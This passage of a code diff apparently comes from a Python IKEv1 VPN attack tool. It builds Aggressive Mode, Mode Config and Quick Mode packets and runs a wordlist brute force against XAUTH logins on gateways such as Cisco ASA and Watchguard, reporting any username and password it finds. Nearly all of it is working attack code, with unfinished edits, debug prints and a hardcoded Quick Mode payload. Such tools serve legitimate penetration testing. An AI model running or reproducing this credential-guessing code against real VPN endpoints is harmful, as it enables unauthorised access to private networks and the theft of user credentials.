lenencPayload = len(arrayencPayload) + bytesencPayload = struct.pack(("B"*lenencPayload),*arrayencPayload) + + arrayHDR = ikeneg.ikeHeader("08",iCookie,rCookie,version,flags,xType,msgID,bytesencPayload.encode('hex'))#next payload is always hash (08) + lenHDR = len(arrayHDR) + bytesHDR = struct.pack(("B"*lenHDR),*arrayHDR) + + #Send Delete payload + bytesIKE = bytesHDR+bytesencPayload + ikeneg.sendPacket(bytesIKE,targetIP,sport,port) + time.sleep(5) + del nonce_i,nonce_r,DHPubKey_i,ID_i,ID_r,rCookie,iCookie,msgID,privKey,DHPubKey_r,SA_i,xType,initIV,curIV + del packets[:] + del dupPackets[:] + del listVIDs[:] + dicCrypto.clear() + respDict.clear() + initDict.clear() + dicVIDs.clear() + #EDIT + break + #continue + #/EDIT + else: + pass else: - pass - else: - pass + pass + + if dicCrypto["mcfgType"] == "03" or dicCrypto["mcfgType"] == 3 and int(dicCrypto["XAUTH_STATUS"]) == 1: + #False positive check for older ASA's + try: + aType = int(authType) + except: + aType = int(authType,16) + if vendorType == "cisco" and aType == 1 and wordline < 1: + print "\n[-]Older ASA detected, run the tool again with authentication type 65001 (XAUTHInitPreShare) instead of type 1 (PSK). Exiting..." + else: + print "[*]XAUTH Authentication Successful! Username: %s Password: %s\nSending ACK packet...\n"%(username,password) - if dicCrypto["mcfgType"] == "03" or dicCrypto["mcfgType"] == 3 and int(dicCrypto["XAUTH_STATUS"]) == 1: - #False positive check for older ASA's - try: - aType = int(authType) - except: - aType = int(authType,16) - if vendorType == "cisco" and aType == 1 and wordline < 1: - print "\n[-]Older ASA detected, run the tool again with authentication type 65001 (XAUTHInitPreShare) instead of type 1 (PSK). Exiting..." - else: - print "[*]XAUTH Authentication Successful! Username: %s Password: %s\nSending ACK packet...\n"%(username,password) + #Mode Config payload - ACK + ackXAUTH = ikeneg.ikeXAUTH(0,16527,"00") + mcfgAtts = ackXAUTH + arrayMCFG = ikeneg.ikeModeCFG("00","04",mcfgAtts) #04 = mode config ACK + lenMCFG = len(arrayMCFG) + bytesMCFG = struct.pack(("B"*lenMCFG),*arrayMCFG) - #Mode Config payload - ACK - ackXAUTH = ikeneg.ikeXAUTH(0,16527,"00") - mcfgAtts = ackXAUTH - arrayMCFG = ikeneg.ikeModeCFG("00","04",mcfgAtts) #04 = mode config ACK - lenMCFG = len(arrayMCFG) - bytesMCFG = struct.pack(("B"*lenMCFG),*arrayMCFG) + #Process response packet + if debug > 0: + print "\n--------------------Sending third packet - Encrypted XAUTH ACK --------------------\n" + xType = "06" #Mode Config transation + + #Hash payload + skeyid_a = dicCrypto["skeyid_a"] + mcfgHash = ikeCrypto.calcHASHmcfg(skeyid_a, msgID.decode('hex'), bytesMCFG, hashType) + if debug > 0: + print "Mode Config Hash = %s"%mcfgHash + arrayHash = ikeneg.ikeHash("0e",mcfgHash) #next payload 0e(14) - Mode Config Attributes + lenHash = len(arrayHash) + bytesHash = struct.pack(("B"*lenHash),*arrayHash) + + #Encrypt everything but the header + plainData = (bytesHash+bytesMCFG) + plainPayload = ikeCrypto.calcPadding(encType, plainData) + if debug > 0: + print "Plain-text Payload: %s"%plainPayload.encode('hex') + + #Encryption/decryption uses last block from previous encrypted payload (CBC) except when a new message ID is created + cipher = ikeCrypto.ikeCipher(encKey, dicCrypto["lastBlock"].decode('hex'), encType) + encPayload = cipher.encrypt(plainPayload) + + if debug > 0: + print "Encrypted Payload: %s"%encPayload.encode('hex') + + arrayencPayload = array.array('B', encPayload) + lenencPayload = len(arrayencPayload) + bytesencPayload = struct.pack(("B"*lenencPayload),*arrayencPayload) + arrayHDR = ikeneg.ikeHeader("08",iCookie,rCookie,version,flags,xType,msgID,bytesencPayload.encode('hex'))#next payload is always hash (08) + lenHDR = len(arrayHDR) + bytesHDR = struct.pack(("B"*lenHDR),*arrayHDR) + bytesIKE = bytesHDR+bytesencPayload + + ikeneg.sendPacket(bytesIKE,targetIP,sport,port) + dicCrypto["lastBlock"] = bytesIKE.encode('hex')[-IVlen:] + + #Delete payload + arrayDel = ikeneg.ikeDelete("00",iCookie,rCookie) + lenDel = len(arrayDel) + bytesDel = struct.pack(("B"*lenDel),*arrayDel) + + #Encrypt everything but the header + plainData = (bytesHash+bytesDel) + plainPayload = ikeCrypto.calcPadding(encType, plainData) + if debug > 0: + print "Plain-text Payload: %s"%plainPayload.encode('hex') + + #Encryption/decryption uses last block from previous encrypted payload (CBC) except when a new message ID is created + #Calc message ID and current IV + msgID = "0000111b" + curIV = ikeCrypto.calcIV(dicCrypto["p2IV"].decode('hex'), msgID.decode('hex'), IVlen, hashType) + cipher = ikeCrypto.ikeCipher(encKey, curIV, encType) + encPayload = cipher.encrypt(plainPayload) + if debug > 0: + print "Encrypted Payload: %s"%encPayload.encode('hex') - #Process response packet - if debug > 0: - print "\n--------------------Sending third packet - Encrypted XAUTH ACK --------------------\n" - xType = "06" #Mode Config transation + arrayencPayload = array.array('B', encPayload) + lenencPayload = len(arrayencPayload) + bytesencPayload = struct.pack(("B"*lenencPayload),*arrayencPayload) + + arrayHDR = ikeneg.ikeHeader("08",iCookie,rCookie,version,flags,xType,msgID,bytesencPayload.encode('hex'))#next payload is always hash (08) + lenHDR = len(arrayHDR) + bytesHDR = struct.pack(("B"*lenHDR),*arrayHDR) + + #Send Delete payload + bytesIKE = bytesHDR+bytesencPayload + ikeneg.sendPacket(bytesIKE,targetIP,sport,port) + time.sleep(1) + exit() + + if dicCrypto["mcfgType"] == "03" or dicCrypto["mcfgType"] == 3 and int(dicCrypto["XAUTH_STATUS"]) == 0: + del packets[-1] + pass - #Hash payload - skeyid_a = dicCrypto["skeyid_a"] - mcfgHash = ikeCrypto.calcHASHmcfg(skeyid_a, msgID.decode('hex'), bytesMCFG, hashType) - if debug > 0: - print "Mode Config Hash = %s"%mcfgHash - arrayHash = ikeneg.ikeHash("0e",mcfgHash) #next payload 0e(14) - Mode Config Attributes - lenHash = len(arrayHash) - bytesHash = struct.pack(("B"*lenHash),*arrayHash) - - #Encrypt everything but the header - plainData = (bytesHash+bytesMCFG) - plainPayload = ikeCrypto.calcPadding(encType, plainData) - if debug > 0: - print "Plain-text Payload: %s"%plainPayload.encode('hex') - - #Encryption/decryption uses last block from previous encrypted payload (CBC) except when a new message ID is created - cipher = ikeCrypto.ikeCipher(encKey, dicCrypto["lastBlock"].decode('hex'), encType) - encPayload = cipher.encrypt(plainPayload) - - if debug > 0: - print "Encrypted Payload: %s"%encPayload.encode('hex') - - arrayencPayload = array.array('B', encPayload) - lenencPayload = len(arrayencPayload) - bytesencPayload = struct.pack(("B"*lenencPayload),*arrayencPayload) - arrayHDR = ikeneg.ikeHeader("08",iCookie,rCookie,flags,xType,msgID,lenencPayload)#next payload is always hash (08) - lenHDR = len(arrayHDR) - bytesHDR = struct.pack(("B"*lenHDR),*arrayHDR) - bytesIKE = bytesHDR+bytesencPayload - - ikeneg.sendPacket(bytesIKE,targetIP,sport,port) - dicCrypto["lastBlock"] = bytesIKE.encode('hex')[-IVlen:] - - #Delete payload - arrayDel = ikeneg.ikeDelete("00",iCookie,rCookie) - lenDel = len(arrayDel) - bytesDel = struct.pack(("B"*lenDel),*arrayDel) - - #Encrypt everything but the header - plainData = (bytesHash+bytesDel) - plainPayload = ikeCrypto.calcPadding(encType, plainData) - if debug > 0: - print "Plain-text Payload: %s"%plainPayload.encode('hex') - - #Encryption/decryption uses last block from previous encrypted payload (CBC) except when a new message ID is created - #Calc message ID and current IV - msgID = "0000111b" - curIV = ikeCrypto.calcIV(dicCrypto["p2IV"].decode('hex'), msgID.decode('hex'), IVlen, hashType) - cipher = ikeCrypto.ikeCipher(encKey, curIV, encType) - encPayload = cipher.encrypt(plainPayload) - if debug > 0: - print "Encrypted Payload: %s"%encPayload.encode('hex') - - arrayencPayload = array.array('B', encPayload) - lenencPayload = len(arrayencPayload) - bytesencPayload = struct.pack(("B"*lenencPayload),*arrayencPayload) - - arrayHDR = ikeneg.ikeHeader("08",iCookie,rCookie,flags,xType,msgID,lenencPayload)#next payload is always hash (08) - lenHDR = len(arrayHDR) - bytesHDR = struct.pack(("B"*lenHDR),*arrayHDR) - - #Send Delete payload - bytesIKE = bytesHDR+bytesencPayload - ikeneg.sendPacket(bytesIKE,targetIP,sport,port) - time.sleep(5) - exit() - - if dicCrypto["mcfgType"] == "03" or dicCrypto["mcfgType"] == 3 and int(dicCrypto["XAUTH_STATUS"]) == 0: - del packets[-2] - pass - - else: - pass + else: + pass + ###EDIT + #""" if vendorType == "cisco": - print "[-]Password not found, try another wordlist. Exiting...\n" - exit() - else: - pass + if wordline >= wordcount: + print "[-]Password not found, try another wordlist. Exiting...\n" + exit() + else: + continue + #else: + #pass + #""" + ###/EDIT if vendorType != "cisco": - print "[-]Password not found, try another wordlist. Exiting...\n" - exit() - else: - pass - + ###EDIT + if wordline >= wordcount: + print "[-]Password not found, try another wordlist. Exiting...\n" + exit() + else: + continue + #else: + #pass + ###/EDIT + + ###MARK - remove this section? + print "REMOVED ELSE" + continue + """ else: if debug > 0: print "Response received, processing packet..." @@ -1988,16 +2340,19 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): pass else: if debug > 0: - print "Packet received does not match this session, this is probably from a previous incarnation." + print "Packet received does not match this session, this is probably from a previous incarnation.3" print "Removing packet" del packets[-1] continue try: if ikeHDR[5] == dicCrypto["msgID"]: + #MARK if debug > 0: - print "Message ID has not changed" - + print "Message ID has not changed2" + print dicCrypto + print packets + curIV = dicCrypto["lastBlock"].decode('hex') pass else: @@ -2011,23 +2366,30 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): time.sleep(2) exit() - respDict = ikeHandling.main(packets[-1],encType,hashType,encKey,initIV,curIV) + respDict,vidHolder = ikeHandling.main(packets[-1],encType,hashType,encKey,initIV,curIV) #Update state/crypto dictionary dicCrypto.update(respDict) dicCrypto["lastBlock"] = packets[-1][-IVlen:] + """ #Exit if while condition is not met (eof) - print "[-]Password not found, try another wordlist. Exiting...\n" - time.sleep(2) - exit() - + ###EDIT + if wordline >= wordcount: + print "[-]Password not found, try another wordlist. Exiting...\n" + time.sleep(2) + exit() + else: + pass + #continue + ###/EDIT elif connect: #Test a connection ikeneg = ikeclient.IKEv1Client(debug) ikeCrypto = crypto.ikeCrypto() sentPackets = 0 + status = 'p1_am1' if len(packets) == 0 and sentPackets == 0: print "\n--------------------Sending first Aggressive Mode packet--------------------" try: @@ -2039,7 +2401,7 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): except: rCookie = "0000000000000000" - initDict = ikeneg.main(iCookie,rCookie,encType,hashType,authType,DHGroup,IDdata,"00",targetIP,idType,sport,0,keyLen) + initDict = ikeneg.main(iCookie,rCookie,encType,hashType,authType,DHGroup,IDdata,"00",targetIP,idType,sport,keyLen) dicCrypto = dict(initDict.items()) time.sleep(speed) while len(packets) < 1: @@ -2057,17 +2419,21 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): pass else: if debug > 0: - print "Packet received does not match this session, this is probably from a previous incarnation." + print "Packet received does not match this session, this is probably from a previous incarnation.4" print "Removing packet" del packets[0] continue if ikeHDR[4] == 5: print "Informational packet received. Enable full debugging for more info. Exiting..." - respDict = ikeHandling.main(packets[-1],encType,hashType) + try: + respDict,vidHolder = ikeHandling.main(packets[-1],encType,hashType,encKey,initIV,curIV) + except: + respDict,vidHolder = ikeHandling.main(packets[-1],encType,hashType) time.sleep(2) exit() else: + status = "p1_am2" pass flags = "01" @@ -2079,6 +2445,8 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): print "VID received: %s (%s)"%(dicVIDs[i], i) if "Cisco" in dicVIDs[i]: vendorType = "cisco" + elif "Watchguard" in dicVIDs[i]: + vendorType = "watchguard" except: if debug >0: print "Unknown VID received: %s"%i @@ -2105,7 +2473,7 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): pass #Construct final aggressive mode exchange packet - print "\n--------------------Sending second aggressive mode packet--------------------" + print "\n--------------------Sending second Aggressive Mode packet--------------------" #Run Crypto Functions - DH first ikeDH = dh.DiffieHellman(DHGroup) secret = ikeDH.genSecret(privKey,int(DHPubKey_r,16)) @@ -2144,16 +2512,16 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): dicCrypto["initIV"] = initIV #Hash payload - arrayHash = ikeneg.ikeHash("0d",hash_i)#next payload 11 = notification - lenHash = len(arrayHash) - bytesHash = struct.pack(("B"*lenHash),*arrayHash) + ###***EDITED NEXT PAYLOAD TO TEST XAUTH + arrayHash = ikeneg.ikeHash("0d",hash_i)#next payload 13 (0d) = VID or 11 notification? + bytesHash = ikeneg.packPacket(arrayHash) #VID payload arrayVID = ikeneg.ikeVID("00","09002689dfd6b712") - lenVID = len(arrayVID) - bytesVID = struct.pack(("B"*lenVID),*arrayVID) - + bytesVID = ikeneg.packPacket(arrayVID) + #Encrypt everything but the header + ###***EDITED VID OUT plainData = bytesHash+bytesVID plainPayload = ikeCrypto.calcPadding(encType, plainData) if debug > 0: @@ -2166,22 +2534,292 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): print "Encrypted Payload: %s"%encPayload.encode('hex') arrayencPayload = array.array('B', encPayload) - lenencPayload = len(arrayencPayload) - bytesencPayload = struct.pack(("B"*lenencPayload),*arrayencPayload) - arrayHDR = ikeneg.ikeHeader("08",iCookie,rCookie,flags,xType,msgID,lenencPayload)#next payload is always hash (08) - lenHDR = len(arrayHDR) - bytesHDR = struct.pack(("B"*lenHDR),*arrayHDR) - bytesIKE = bytesHDR+bytesencPayload + bytesencPayload = ikeneg.packPacket(arrayencPayload) + arrayIKE = ikeneg.ikeHeader("08",iCookie,rCookie,version,flags,xType,msgID,bytesencPayload.encode('hex'))#next payload is always hash (08) + bytesIKE = ikeneg.packPacket(arrayIKE) + + #Send packet ikeneg.sendPacket(bytesIKE,targetIP,sport,port) dicCrypto["p2IV"] = bytesIKE.encode('hex')[-IVlen:] dicCrypto["lastBlock"] = bytesIKE.encode('hex')[-IVlen:]#p2IV and last block are the same at this point + count = 0 + status = "p1_am3" while len(packets) < 2: time.sleep(0.5) - count = 0 count += 1 if count > 15: - print "No further responses received.\nExiting...\n" + #print "No further responses received.\nExiting...\n" + #Added attempt to begin Quick Mode here if no response is received. Typical behaviour if XAuth is not enabled on the responder + if debug > 0: + print "\n--------------------Sending Quick Mode Packet 1------------------" + msgID = "00001112" + dicCrypto["msgID"] = msgID + p2IV = dicCrypto["p2IV"] + curIV = p2IV.decode('hex') + + #Process response packet + #Transform set + xType = "20" #Quick Mode + phase = 2 + transID = "0c" #currently static 3 - ENCR_3DES, 12 (0c) - aes-cbc + + #Transform payload + arrayTrans = ikeneg.ikeTransform(encType,"01",authType,DHGroup,"01","00007080",transID,phase,"00") + bytesTrans = ikeneg.packPacket(arrayTrans) + #Proposal Payload + arrayProposal = ikeneg.ikeProposal(bytesTrans.encode('hex'), "02", phase) + bytesProposal = ikeneg.packPacket(arrayProposal) + #SA Payload + arraySA = ikeneg.ikeSA(bytesProposal.encode('hex')) + bytesSA = ikeneg.packPacket(arraySA) + #arraySA_i = arraySA[4:] + #SA_i = self.packPacket(arraySA_i).encode('hex') + SA_i = bytesSA.encode('hex') + + arrayNonce,nonce = ikeneg.ikeNonce("0d") + bytesNonce = ikeneg.packPacket(arrayNonce) + + #Pull IP from previous Mode CFG transaction + mcfgIP = str(dicCrypto["MCFG_IPi"]).decode('hex') + #mcfgIP = "c0a801eb".decode('hex') + + #ID payload + arrayID,ID_i = ikeneg.ikeID(mcfgIP.encode('hex'),"01","0000","00","05")#next payload = ID (5), 0000 = port + bytesID = ikeneg.packPacket(arrayID) + + #ID payload + arrayID1,ID_i1 = ikeneg.ikeID("0000000000000000","04","0000","00","00")#next payload = none (0), 04 = idtype, 0000 = port # next payload = 0d - vid + bytesID1 = ikeneg.packPacket(arrayID1) + + #VID payload + arrayVID = ikeneg.ikeVID("05","09002689dfd6b712") + bytesVID = ikeneg.packPacket(arrayVID) + + qmData = bytesSA+bytesNonce+bytesVID+bytesID+bytesID1 + + ###***change below strings to properly built payloads, perhaps allow the phase 2 transform to be specified by the user? + qmData = "0a00020400000001000000010200002c000304010b36f8fb00000020000c000080060100800400018005000280010001000200040020c49b0200002c010304010b36f8fb00000020000c000080060100800400018005000180010001000200040020c49b0200002c020304010b36f8fb00000020000c0000800600c0800400018005000280010001000200040020c49b0200002c030304010b36f8fb00000020000c0000800600c0800400018005000180010001000200040020c49b0200002c040304010b36f8fb00000020000c000080060080800400018005000280010001000200040020c49b0200002c050304010b36f8fb00000020000c000080060080800400018005000180010001000200040020c49b02000028060304010b36f8fb0000001c00030000800400018005000280010001000200040020c49b02000028070304010b36f8fb0000001c00030000800400018005000180010001000200040020c49b02000028080304010b36f8fb0000001c00020000800400018005000280010001000200040020c49b02000028090304010b36f8fb0000001c00020000800400018005000180010001000200040020c49b020000280a0304010b36f8fb0000001c000b0000800400018005000280010001000200040020c49b000000280b0304010b36f8fb0000001c000b0000800400018005000180010001000200040020c49b050000185b3693728fb19dab4d3cb0fa90e64f9e1f57753e0500000c01000000c0a801fb00000010040000000000000000000000".decode('hex')# 00000000" + nonce = "5b3693728fb19dab4d3cb0fa90e64f9e1f57753e" + lenQMData = len(qmData) + arrayqmData = array.array('B', qmData) + bytesqmData = struct.pack(("B"*len(arrayqmData)),*arrayqmData) + #plainPayload = ikeCrypto.calcPadding(encType, qmData) + + #plainPayload = ikeCrypto.calcPadding(encType, bytesHash+qmData) + #qmData = plainPayload + print skeyid_a.encode('hex') + hash_1 = ikeCrypto.calcHASHQM(skeyid_a, msgID.decode('hex'), qmData, hashType, 1) + arrayHash = ikeneg.ikeHash("01",hash_1)#next payload 01 + bytesHash = ikeneg.packPacket(arrayHash) + + #Encrypt everything but the header + curIV = ikeCrypto.calcIV(p2IV.decode('hex'), msgID.decode('hex'), IVlen, hashType) + plainPayload = ikeCrypto.calcPadding(encType,bytesHash+bytesqmData) + if debug > 0: + print "Plain-text Payload: %s"%plainPayload.encode('hex') + #Encryption/decryption uses last block from previous encrypted payload (CBC) except when a new message ID is created + cipher = ikeCrypto.ikeCipher(encKey, curIV, encType) + encPayload = cipher.encrypt(plainPayload) + + if debug > 0: + print "Encrypted Payload: %s"%encPayload.encode('hex') + + + payloads = arrayencPayload = array.array('B', encPayload) + payloads = ikeneg.packPacket(arrayencPayload) + arrayIKE = ikeneg.ikeHeader("08",iCookie,rCookie,version,flags,xType,msgID,payloads.encode('hex')) + bytesIKE = ikeneg.packPacket(arrayIKE) + + + #Send QM packet 1 + ikeneg.sendPacket(bytesIKE,targetIP,sport,port) + dicCrypto["lastBlock"] = bytesIKE.encode('hex')[-IVlen:] + count = 0 + status = "p2_qm1" + while len(packets) < 5: + time.sleep(0.01) + count += 1 + if count > 500: + print "No further responses received.\nExiting...\n" + exit() + + + + #if len(packets) == 5: + #Process Header first + ikeHandling = ikehandler.IKEv1Handler(debug) + ikeHDR = ikeHandling.parseHeader(packets[-1]) + #dicCrypto["lastBlock"] = packets[-1][-IVlen:] + #Check the packet is for this session + if ikeHDR[1] == dicCrypto["iCookie"]: + pass + else: + print "Packet received does not match this session, this is probably from a previous incarnation." + del packets[-1] + print "Removing packet" + continue + + try: + if ikeHDR[5] == dicCrypto["msgID"]: + if debug > 0: + print "Message ID has not changed" + curIV = dicCrypto["lastBlock"].decode('hex') + pass + else: + if debug > 0: + print "Message ID has changed, recalculating IV" + msgID = ikeHDR[5] + curIV = ikeCrypto.calcIV(dicCrypto["p2IV"].decode('hex'), msgID.decode('hex'), IVlen, hashType) + pass + except: + print "Invalid Message ID, too many concurrent sessions running. Wait 30 second and try again.\nExiting" + time.sleep(2) + exit() + + + if ikeHDR[4] == 5: + print "Informational packet received. Enable full debugging for more info. Exiting..." + try: + respDict,vidHolder = ikeHandling.main(packets[-1],encType,hashType,encKey,initIV,curIV) + except: + respDict,vidHolder = ikeHandling.main(packets[-1],encType,hashType) + #time.sleep(2) + #exit() + if ikeHDR[4] == 6: + print "QUICK MODE FAILED! PACKET MALFORMED?" + exit() + else: + pass + + #Process full packet + respDict,vidHolder = ikeHandling.main(packets[-1],encType,hashType,encKey,initIV,curIV) + #Update state/crypto dictionary + dicCrypto.update(respDict) + dicCrypto["lastBlock"] = packets[-1][-IVlen:] + + if debug > 0: + print "\n--------------------Sending Quick Mode Packet 3------------------" + #Send QM 3 packet + #For QM hash 3 data = Nonce_i | Nonce_r (from phase 2 negotiations - not phase 1 nonces) + nonce_r = dicCrypto["nonce_r"] + nonces = nonce+nonce_r + hash_3 = ikeCrypto.calcHASHQM(skeyid_a, msgID.decode('hex'), nonces.decode('hex'), hashType, 3) + arrayHash = ikeneg.ikeHash("00",hash_3)#next payload 00 + bytesHash = ikeneg.packPacket(arrayHash) + + #Encrypt everything but the header + curIV = dicCrypto["lastBlock"].decode('hex') + plainPayload = ikeCrypto.calcPadding(encType,bytesHash) + if debug > 0: + print "Plain-text Payload: %s"%plainPayload.encode('hex') + #Encryption/decryption uses last block from previous encrypted payload (CBC) except $ + cipher = ikeCrypto.ikeCipher(encKey, curIV, encType) + encPayload = cipher.encrypt(plainPayload) + + if debug > 0: + print "Encrypted Payload: %s"%encPayload.encode('hex') + + arrayencPayload = array.array('B', encPayload) + bytesencPayload = ikeneg.packPacket(arrayencPayload) + + arrayIKE = ikeneg.ikeHeader("08",iCookie,rCookie,version,flags,xType,msgID,bytesencPayload.encode('hex'))#next payload 0 = none + bytesIKE = ikeneg.packPacket(arrayIKE) + + #Send QM packet 3 + ikeneg.sendPacket(bytesIKE,targetIP,sport,port) + dicCrypto["lastBlock"] = bytesIKE.encode('hex')[-IVlen:] + prot = "03" + print "Phase 2 Complete!" + spi = dicCrypto["spi"] + print "-----------------SA-----------------" + print "|SPI (Outbound): 036f8fb |"#static currently + print "|SPI (Inbound): %s |"%spi + print "|Encryption Type: %s |"%dicCrypto["Encryption Type"] + print "|Authentication Algorithm: %s|"%dicCrypto["Authentication Algorithm"] + print "|SA Life Duration: %s |"%dicCrypto["SA Life Duration"] + print "|SA Life Type: %s |"%dicCrypto["SA Life Type"] + + + p2key = ikeCrypto.calcKEYMAT(hashType, keyLen, skeyid_d, prot.decode('hex'), spi.decode('hex'), nonce.decode('hex'), nonce_r.decode('hex')) + while len(packets) < 6: + time.sleep(0.01) + count += 1 + if count > 7080: + print "No further responses received.\nExiting...\n" + exit() + + + #elif len(packets) > 5: + #Process Header first + ikeHandling = ikehandler.IKEv1Handler(debug) + ikeHDR = ikeHandling.parseHeader(packets[-1]) + #dicCrypto["lastBlock"] = packets[-1][-IVlen:] + #Check the packet is for this session + if ikeHDR[1] == dicCrypto["iCookie"]: + pass + else: + print "Packet received does not match this session, this is probably from a previous incarnation." + del packets[-1] + print "Removing packet" + pass + continue + + try: + if ikeHDR[5] == dicCrypto["msgID"]: + if debug > 0: + print "Message ID has not changed" + curIV = dicCrypto["lastBlock"].decode('hex') + pass + else: + if debug > 0: + print "Message ID has changed, recalculating IV" + msgID = ikeHDR[5] + curIV = ikeCrypto.calcIV(dicCrypto["p2IV"].decode('hex'), msgID.decode('hex'), IVlen, hashType) + pass + except: + print "Invalid Message ID, too many concurrent sessions running. Wait 30 second and try again.\nExiting" + time.sleep(2) + exit() + + + if ikeHDR[4] == 5: + + respDict,vidHolder = ikeHandling.main(packets[-1],encType,hashType,encKey,initIV,curIV) + if int(dicCrypto["notmsgType"]) == 36136: + if debug > 0: + print "DPD payload received, sending heartbeat response" + + ikeneg = ikeclient.IKEv1Client(debug) + ikeCrypto = crypto.ikeCrypto() + xType = "05" + notData = "AAAAAAAA" + msgType = hex(36137)[2:]#R-U-THERE-ACK + arrayDPD = ikeneg.ikeNot("00",msgType,spi,notData) + bytesDPD = ikeneg.packPacket(arrayDPD) + + #hash = ikeCrypto.calcHASH(skeyid_a, msgID.decode('hex'),qmData, hashType, 1) + #hash_i = ikeCrypto.calcHASH(skeyid, DHPubKey_r.decode('hex'), DHPubKey_i.decode('hex'), rCookie.decode('hex' + #arrayHash = ikeneg.ikeHash("01",hash_1)#next payload 01$ + #lenHash = len(arrayHash) + #bytesHash = struct.pack(("B"*lenHash),*arrayHash) + + arrayIKE = ikeneg.ikeHeader("0b",iCookie,rCookie,version,flags,xType,msgID,bytesencPayload.encode('hex')) + bytesIKE = ikeneg.packPacket(arrayIKE) + + #Send DPD packet + + + + + + + + + + + time.sleep(2) + #exit() if len(packets) == 2: #Parse the header first @@ -2191,22 +2829,13 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): if ikeHDR[1] == dicCrypto["iCookie"]: pass else: - print "Packet received does not match this session, this is probably from a previous incarnation." + print "Packet received does not match this session, this is probably from a previous incarnation.5" del packets[-1] print len(packets) print packets[-1] print "Removing packet" continue - #Check for informational packet - if ikeHDR[4] == 5: - print "Informational packet received. Enable full debugging for more info. Exiting..." - respDict = ikeHandling.main(packets[-1],encType,hashType) - time.sleep(2) - exit() - else: - pass - try: if ikeHDR[5] == dicCrypto["msgID"]: if debug > 0: @@ -2225,8 +2854,33 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): time.sleep(2) exit() + #Check for informational packet + if ikeHDR[4] == 5: + try: + respDict,vidHolder = ikeHandling.main(packets[-1],encType,hashType,encKey,initIV,curIV) + except: + respDict,vidHolder = ikeHandling.main(packets[-1],encType,hashType) + print "Informational packet received. Enable full debugging for more info. Exiting..." + time.sleep(2) + exit() + else: + pass + + + #Check for informational packet + if ikeHDR[4] == 5: + try: + respDict,vidHolder = ikeHandling.main(packets[-1],encType,hashType,encKey,initIV,curIV) + except: + respDict,vidHolder = ikeHandling.main(packets[-1],encType,hashType) + print "Informational packet received. Enable full debugging for more info. Exiting..." + time.sleep(2) + exit() + else: + pass + #Parse full packet - respDict = ikeHandling.main(packets[-1],encType,hashType,encKey,initIV,curIV) + respDict,vidHolder = ikeHandling.main(packets[-1],encType,hashType,encKey,initIV,curIV) #Update state/crypto dictionary dicCrypto.update(respDict) dicCrypto["lastBlock"] = packets[-1][-IVlen:] @@ -2247,7 +2901,8 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): if xType != 6: print "Expected Mode Config Transaction packet." print "Exiting...\n" - time.sleep(2) + + time.sleep(1) exit() else: pass @@ -2255,27 +2910,14 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): #Process response packet print "\n--------------------Sending third packet - Encrypted XAUTH reply (username: %s password: %s)--------------------"%(username,password) - xType = "06" #Mode Config transation - try: - vendorType - if vendorType == "cisco": - typeXAUTH = ikeneg.ikeXAUTH(0,16520,0,vendorType) - userXAUTH = ikeneg.ikeXAUTH(0,16521,username) - passXAUTH = ikeneg.ikeXAUTH(0,16522,password) - mcfgAtts = typeXAUTH+userXAUTH+passXAUTH - else: - userXAUTH = ikeneg.ikeXAUTH(0,16521,username) - passXAUTH = ikeneg.ikeXAUTH(0,16522,password) - mcfgAtts = userXAUTH+passXAUTH - except: - userXAUTH = ikeneg.ikeXAUTH(0,16521,username) - passXAUTH = ikeneg.ikeXAUTH(0,16522,password) - mcfgAtts = userXAUTH+passXAUTH + xType = "06" #Mode Config transaction + userXAUTH = ikeneg.ikeXAUTH(0,16521,username) + passXAUTH = ikeneg.ikeXAUTH(0,16522,password) + mcfgAtts = userXAUTH+passXAUTH #Mode Config payload arrayMCFG = ikeneg.ikeModeCFG("00","02",mcfgAtts) #02 = mode config Reply - lenMCFG = len(arrayMCFG) - bytesMCFG = struct.pack(("B"*lenMCFG),*arrayMCFG) + bytesMCFG = ikeneg.packPacket(arrayMCFG) #Hash payload skeyid_a = dicCrypto["skeyid_a"] @@ -2283,8 +2925,7 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): if debug > 0: print "Mode Config Hash = %s"%mcfgHash arrayHash = ikeneg.ikeHash("0e",mcfgHash) #next payload 0e(14) - Mode Config Attributes - lenHash = len(arrayHash) - bytesHash = struct.pack(("B"*lenHash),*arrayHash) + bytesHash = ikeneg.packPacket(arrayHash) #Encrypt everything but the header plainData = (bytesHash+bytesMCFG) @@ -2300,12 +2941,9 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): print "Encrypted Payload: %s"%encPayload.encode('hex') arrayencPayload = array.array('B', encPayload) - lenencPayload = len(arrayencPayload) - bytesencPayload = struct.pack(("B"*lenencPayload),*arrayencPayload) - arrayHDR = ikeneg.ikeHeader("08",iCookie,rCookie,flags,xType,msgID,lenencPayload)#next payload is always hash (08) - lenHDR = len(arrayHDR) - bytesHDR = struct.pack(("B"*lenHDR),*arrayHDR) - bytesIKE = bytesHDR+bytesencPayload + bytesencPayload = ikeneg.packPacket(arrayencPayload) + arrayIKE = ikeneg.ikeHeader("08",iCookie,rCookie,version,flags,xType,msgID,bytesencPayload.encode('hex'))#next payload is always hash (08) + bytesIKE = ikeneg.packPacket(arrayIKE) ikeneg.sendPacket(bytesIKE,targetIP,sport,port) dicCrypto["lastBlock"] = bytesIKE.encode('hex')[-IVlen:] @@ -2322,19 +2960,11 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): if ikeHDR[1] == dicCrypto["iCookie"]: pass else: - print "Packet received does not match this session, this is probably from a previous incarnation." + print "Packet received does not match this session, this is probably from a previous incarnation.6" del packets[-1] print "Removing packet" continue - if ikeHDR[4] == 5: - print "Informational packet received. Enable full debugging for more info. Exiting..." - respDict 